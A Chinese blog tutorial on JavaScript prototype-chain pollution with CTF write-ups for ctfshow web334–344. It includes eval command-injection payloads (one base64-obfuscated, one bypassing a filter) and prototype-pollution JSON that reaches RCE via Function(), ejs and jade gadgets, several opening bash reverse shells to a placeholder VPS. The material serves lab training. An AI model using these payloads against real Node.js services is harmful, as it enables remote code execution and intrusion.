本文最后更新于 2024年10月20日 下午
参考链接:
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
继承与原型链 - JavaScript | MDN (mozilla.org)
https://www.freebuf.com/articles/web/361333.html
ctfshow_NodeJS | CH0ico
0x01 prototype和proto 在javaScript中,如果需要定义一个类,需要以定义”构造函数”的方式来定义
1 2 3 4 function Test ( ){ this .bar = 1 }new Test ()
在其中,Test函数的内容,就是Test类的构造函数,而this.bar
就是Test类的属性
类同时也必然有一些方法,类似就是this.bar
,也可以将方法定义在构造函数内部
1 2 3 4 5 6 7 function Test ( ){ this .bar = 1 this .show =function ( ){ console .log (this .bar ) } } (new Test ()).show ()
但这样会出现一个问题,当新建一个Test对象的时候,this.show=func...
就会执行一次,这个show
方法实际上绑定在对象上(bar),而不是”类”上
想创建类的时候只创建一次show
方法,这时候就需要用到原型(prototype)
1 2 3 4 5 6 7 8 function Test ( ){ this .bar = 1 Test .prototype .show =function show ( ){ console .log (this .bar ) } }let test =new Test () test.show ()
运行会出现1
可以理解为原型prototype
是类Test
的一个属性,而所有由Test
实例化的对象都将拥有这个属性中的所有内容,包括变量和方法。上面代码中test对象,天生就具有test.show
方法(也就是继承了)
可以通过Test.prototype
来访问Test
类的原型,但Test
实例化的对象,是不可以通过prototype访问原型的。这时候,就该__proto__
登场了。
也就是Test
类实例化出来的test对象,可以通过test.proto
属性来访问Test类的原型,也就是
1 test.__proto__ == Test .prototype
因此总结一下
prototype
是一个类的属性,所有类的对象 在实例化的时候将会拥有prototype
中的属性和方法
一个对象的__proto__
属性,指向这个对象所在的类prototype
属性
0x02 JavaScript原型链继承 所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制
举个例子来说
1 2 3 4 5 6 7 8 9 10 11 12 13 function Orange ( ){ this .a = 'aaa' ; this .b = 'bbb' ; }function Apple ( ){ this .a = "AAA" ; }Apple .prototype = new Orange ();let apple = new Apple ();console .log (`a是:${apple.a} ${apple.b} ` );
Apple类继承了Orange类的b
属性,最后使得可以输出bbb
能造成是这样,是因为在调用apple.b
时,JavaScript引擎进行如下的操作:
首先会在对象中寻找b
这个对象,如果找不到的话,就会在apple.__proto__
中寻找b
,如果仍然找不到的话会继续apple.__proto__..__proto__
寻找,依次寻找,直到找到null
结束。例如Object.prototype
的__proto__
就是null
以上就是一个简单的JavaScript面向对象编程,主要需要牢记的是
1.每个构造函数(constructor)都有一个原型对象(prototype)
2.对象__proto__
属性,指向类的原型对象prototype
3.JavaScript使用prototype链实现继承机制
0x03 什么是原型链污染 在0x01里面叙述过了test.__proto__
指向的是Test
类的prototype
,那么如果修改了test.__proto__
中的值,原理上应该也可以修改Test
,简单测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 let foo = {bar : 1 }console .log (foo.bar ) foo.__proto__ .bar = 2 console .log (foo.bar )let zoo = {}console .log (zoo.bar )
可以发现即使没有给zoo是一个空对象,但是最后输出了2
这里的原理就是修改了foo
的原型foo.__proto__.bar
为2,foo是一个Object类的实例,实际上就是修改了类的属性,给这个类加上了bar
这个属性,值为2
后者又用这个类创建了一个zoo的对象,由于所有的对象都是公用类的属性,即使zoo里面一开始没有bar这个属性,但是通过原生可以继承,zoo对象自然也有bar属性。
因此可以通过控制修改一个对象的原型从而影响来自同一个类,父族类的其他对象,这种攻击就是原型链污染。
0x04 什么情况可以污染 在实际应用中,需要思考哪些情况存在原型链可以攻击?
首先需要考虑在何种情况设置__proto__
的值?可以找找能够控制数组(对象)的”键名”的操作即可:
对象merge:
对象clone:(内核就是将待操作的对象merge到一个空对象中)
以常见的merge为例,可以做一个简单的例子
1 2 3 4 5 6 7 8 9 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
代码的功能是将两个对象进行深度合并,逐级将 source
对象中的属性合并到 target
对象中。这个函数执行的是深度合并 ,当 target
和 source
都有同一个属性并且该属性是对象时,递归合并它们的属性。
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,就可以进行原型链的污染了。
1 2 3 4 5 6 7 let o1 = {}let o2 = {a : 1 , "__proto__" : {b : 2 }}merge (o1, o2)console .log (o1.a , o1.b ) o3 = {}console .log (o3.b )
通过运行结果不难发现原型链并没有被污染
原因是用JavaScript创建o2的过程let o2 = {a: 1, "__proto__": {b: 2}}
中,__proto__
已经代表了o2的原型了,此时遍历o2的所有键名,拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。(实际上是在将 o2
的原型设置为 {b: 2}
。也就是说,o2
对象的原型链上存在 {b: 2}
, __proto__
并不是 o2
自己的一个普通属性,__proto__
是一个特殊的属性,当你在对象字面量中使用 __proto__
时,它被解释为设置该对象的原型,而不是一个普通键值对。)
1 2 3 4 5 6 7 let o1 = {}let o2 = JSON .parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (o1, o2)console .log (o1.a , o1.b ) o3 = {}console .log (o3.b )
新建的o3对象,也存在b属性,说明Object已经被污染.这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
0x05 靶场练习(原型链从338) ctfshow web334 下载附件在user.js里面有账户密码,再看一下login.js文件定位关键代码
1 return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password;
不可以等于,但是接受后可以转化为大写,所以输入ctfshow
和123456
即可
ctfshow web335 先看源码会发现有提醒?eval=
输入,尝试ls
,没有文件,输入1
有正常的文件,考虑本题是nodejs的题目,回归到官方的文档上,大概率考察的是这个eval
函数
require("child_process")
:
这是 Node.js 中的内置模块,用于执行子进程。child_process
模块允许我们从 Node.js 脚本中执行系统命令或启动外部进程。
execSync()
是 child_process
模块中的一个函数,用于以同步的方式执行 shell 命令。与 exec()
不同,execSync()
会等待命令执行完毕,并将其输出返回。使用同步方式时,程序会阻塞,直到命令执行完成。尝试执行
1 ?eval =require("child_process" ).execSync("ls" )
得到flag的文本内容,再执行cat就可以了
1 ?eval =require('child_process' ).execSync('cat f*' )
ctfshow web336 0x01 同样的提示,传上题的payload会回显tql,简单的测试一下发现过滤了exec需要拼接绕过
1 ?eval =require("child_process" )['exe' %2B'cSync' ]("ls" )
然后正常执行
1 ?eval =require ("child_process" )['exe' %2B'cSync' ]("cat f*" )
0x02 可以进行base64转化
1 ?eval =eval (Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp" ,'base64' ).toString('ascii' ))
把里面的命令base64加密Buffer.from()
将 base64 编码的字符串解码为一个缓冲区对象
ctfshow web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } });module .exports = router;
传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag
ctfshow web338 先分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; let user = {}; var secert = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });module .exports = router;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 module .exports = { copy :copy };function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
对__proto__
进行污染就可以使ctfshow变成值了,下面具体步骤
在common.js文件里,进行了转化造成了原型链,因为原型污染,secret
对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'
1 { "__proto__" : { "ctfshow" : "36dboy" } }
ctfshow web339 先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 # login.js var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); function User(){ this.username=''; this.password='';} function normalUser(){ this.user} router.post('/', require('body-parser').json(), function(req, res, next) { res.type('html'); var flag='flag_here'; var sess = req.session; var secert = { } ; let user = { } ; utils.copy(user, req.body); if(secert.ctfshow===flag){ res.end(flag); } else{ return res.json({ ret_code: 2 , ret_msg: '登录失败'+JSON.stringify(user)} ); } } ); module.exports = router;
1 2 3 4 5 6 7 8 9 10 11 12 var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); router.post('/', require('body-parser').json(), function(req, res, next) { res.type('html'); res.render('api', { query: Function(query)(query)} );} ); module.exports = router;
common.js文件一样,也是造成污染的原因,分析一下代码
1 if(secert.ctfshow===flag)
由于flag是未知量,不能和上题一样进行直接的修改
分析api.js,展示了一个基于 Express 的 POST 路由处理,它将用户输入(来自请求体的 query
字段)传递给 Function()
构造函数执行。
这部分是代码的核心问题。Function()
构造函数的作用是将传入的字符串参数转化为可执行的函数,它的使用方式类似于 eval()
,可以通过污染api原型造成远程的rce
0x01 1 { "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')" } }
先在/login里面post发包进行污染,然后/api里面post发包就可以弹上了,最后一步头,污染失败可以再开一次容器
剩下来找就行了在routes/login.js里
0x02 ejs模板漏洞导致rce,详情可参照p神博客的例题案例
1 { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2" } }
发包原理同0x01
ctfshow web340 在login.js里多了这些内容
1 2 3 4 5 6 7 8 9 10 11 var user = new function(){ this.userinfo = new function(){ this.isVIP = false ; this.isAdmin = false ; this.isAuthor = false ; } ; } utils.copy(user.userinfo, req.body); if(user.userinfo.isAdmin){ res.end(flag);
定位关键代码,proto
原型多套一层就可以了
1 if(user.userinfo.isAdmin)
1 { "__proto__" : { "__proto__" : { "query" : "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')" } } }
剩下的同上
ctfshow web341 本题删除了api,login进行了微调
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); router.post('/', require('body-parser').json(), function(req, res, next) { res.type('html'); var user = new function(){ this.userinfo = new function(){ this.isVIP = false ; this.isAdmin = false ; this.isAuthor = false ; } ; } ; utils.copy(user.userinfo, req.body); if(user.userinfo.isAdmin){ return res.json({ ret_code: 0 , ret_msg: '登录成功'} ); } else{ return res.json({ ret_code: 2 , ret_msg: '登录失败'} ); } } ); module.exports = router;
本题的预期解就是339的非预期解,但是需要再套一层原型就可以打通了
1 { "__proto__" : { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2" } } }
也是/login的post发包,然后随便的post访问,vps里输入env得到flag
ctfshow web342&343 这题考察的是jade rce
再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)
1 { "__proto__" : { "__proto__" : { "type" : "Block" , "nodes" : "" , "compileDebug" : 1 , "self" : 1 , "line" : "global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxxxxxxxxx/5566 0>&1\"')" } } }
ctfshow web344 1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; if(req.url.match(/8 c|2 c|\, /ig)){ res.end('where is flag : )'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true ){ res.end(flag); } else{ res.end('where is flag. : )'); } } );
过滤了逗号已经他的url编码
要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
都进行url编码就行了
1 ?query=% 7 b% 22 % 6 e% 61 % 6 d% 65 % 22 % 3 a% 22 % 61 % 64 % 6 d% 69 % 6 e% 22 &query=% 22 % 70 % 61 % 73 % 73 % 77 % 6 f% 72 % 64 % 22 % 3 a% 22 % 63 % 74 % 66 % 73 % 68 % 6 f% 77 % 22 &query=% 22 % 69 % 73 % 56 % 49 % 50 % 22 % 3 a% 74 % 72 % 75 % 65 % 7 d